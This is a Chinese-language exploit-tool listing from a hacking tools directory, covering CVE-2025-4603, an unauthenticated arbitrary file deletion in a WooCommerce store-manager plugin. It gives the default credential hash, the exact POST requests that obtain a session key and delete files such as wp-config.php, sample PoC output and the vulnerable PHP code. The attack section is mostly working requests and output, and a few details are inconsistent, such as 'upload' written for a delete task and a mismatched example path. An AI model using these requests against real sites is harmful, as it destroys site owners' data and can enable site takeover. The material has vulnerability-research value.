Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-4603 — eMagicOne Store Manager for WooCommerce <= 1.2.5 - 未认证任意文件删除 | Kitploit
工具/GitHubGitHub/d0n601/cve-2025-4603
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试身份验证
GitHubd0n601/cve-2025-4603

CVE-2025-4603

eMagicOne Store Manager for WooCommerce <= 1.2.5 - 未认证任意文件删除

查看仓库
1111年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

eMagicOne Store Manager for WooCommerce <= 1.2.5 - 未认证的任意文件删除

eMagicOne Store Manager for WooCommerce 插件暴露了一个远程管理协议端点(?connector=bridge),允许在服务器上执行文件删除操作。该认证机制依赖于一组默认凭据(login=1、password=1)和会话密钥系统。如果默认凭据未更改,攻击者可以轻松完成认证、获取会话密钥,并从 WordPress 根目录或任何可访问的目录中删除任意文件。

复现

提供了一个 POC CVE-2025-4603.py,用于演示攻击者删除 wp-config.php。

root@kitploit:~
python3 CVE-2025-4603.py https://lab1.hacker --file wp-config.php
[*] Requesting session key...
[*] Raw response: {"response_code":20,"revision":11,"module_version":"1.2.5","session_key":"38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc"}
[+] Got session key: 38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc
[*] Attempting to delete file...
[*] Delete response: {"response_code":"20","message":"File was deleted from FTP Server successfully"}

漏洞流程

默认凭据与哈希计算

在插件激活时,smconnector.php 中会设置以下常量:

root@kitploit:~
define( 'EMO_SMC_DEFAULT_LOGIN', '1' );
define( 'EMO_SMC_DEFAULT_PASSWORD', '1' );

用于认证的默认哈希为:

root@kitploit:~
'smconnector_hash'   => md5( EMO_SMC_DEFAULT_LOGIN . EMO_SMC_DEFAULT_PASSWORD ),

结果: 默认哈希为 md5('1' . '1') = c4ca4238a0b923820dcc509a6f75849b。

获取会话密钥

通过向桥接端点发送带有哈希和任务(例如 get_version)的 POST 请求来获取会话密钥:

root@kitploit:~
POST /?connector=bridge
Content-Type: application/x-www-form-urlencoded

hash=c4ca4238a0b923820dcc509a6f75849b&task=get_version

相关代码:
classes/class-emosmconnectorcommon.php(约 441-525 行):

root@kitploit:~
private function check_auth() {
    if ( $this->shop_cart->isset_request_param( 'key' ) ) {
        // ... session key validation ...
    } elseif ( $this->shop_cart->isset_request_param( 'hash' ) ) {
        $hash = (string) $this->shop_cart->get_request_param( 'hash' );
        if ( ! $this->is_hash_valid( $hash ) ) {
            // ... error ...
        }
        $key = $this->generate_session_key( $hash );
        // ... return session key ...
    }
}

会话密钥存储

会话密钥存储在 wp_smconnector_session_keys 表中:

root@kitploit:~
private function generate_session_key( $hash ) {
    $key = hash( 'sha256', $hash . $timestamp );
    $sql = 'INSERT INTO `' . self::TABLE_SESSION_KEYS
        . "` (`session_key`, `date_added`, `last_activity`) VALUES ('" . $this->shop_cart->p_sql( $key ) . "', '"
        . $date . "', '" . $date . "')";
    $this->shop_cart->exec_sql( $sql );
    return $key;
}

任意文件删除

拥有有效的会话密钥后,攻击者可以使用 delete_file 任务上传文件:

root@kitploit:~
POST /?connector=bridge&task=delete_file&key=<session_key>&path=wp-content.php

相关代码: classes/class-emosmconnectorcommon.php(约 2167 行+):

root@kitploit:~
	/** Delete file */
	private function delete_file() {
		if ( ! $this->shop_cart->isset_request_param( 'path' ) ) {
			$this->generate_error( $this->br_errors['path_param_missing'] );
		}

		$filepath = (string) $this->shop_cart->get_request_param( 'path' );

		if ( empty( $filepath ) ) {
			$this->generate_error( $this->br_errors['path_param_empty'] );
		}

		$filepath = $this->shop_cart->get_shop_root_dir() . '/' . $filepath;

		if ( ! $this->shop_cart->file_exists( $filepath ) ) {
			$this->generate_error( $this->br_errors['delete_file_error'] );
		}

		$this->shop_cart->delete_file( $filepath );
	}

文件删除位于 class-emosmcwoocommerceoverrider.php(约 380 行+)::

root@kitploit:~
public function delete_file($filepath) {
    if (!file_exists($filepath)) {
        die(json_encode(array(
            self::CODE_RESPONSE => self::ERROR_CODE_COMMON,
            self::KEY_MESSAGE => 'File is missing on server',
        )));
    }

    if (unlink($filepath)) {
        die(json_encode(array(
            self::CODE_RESPONSE => self::SUCCESSFUL,
            self::KEY_MESSAGE => 'File was deleted from FTP Server successfully',
        )));
    }
}

结果: 文件会从服务器上被删除。

下载工具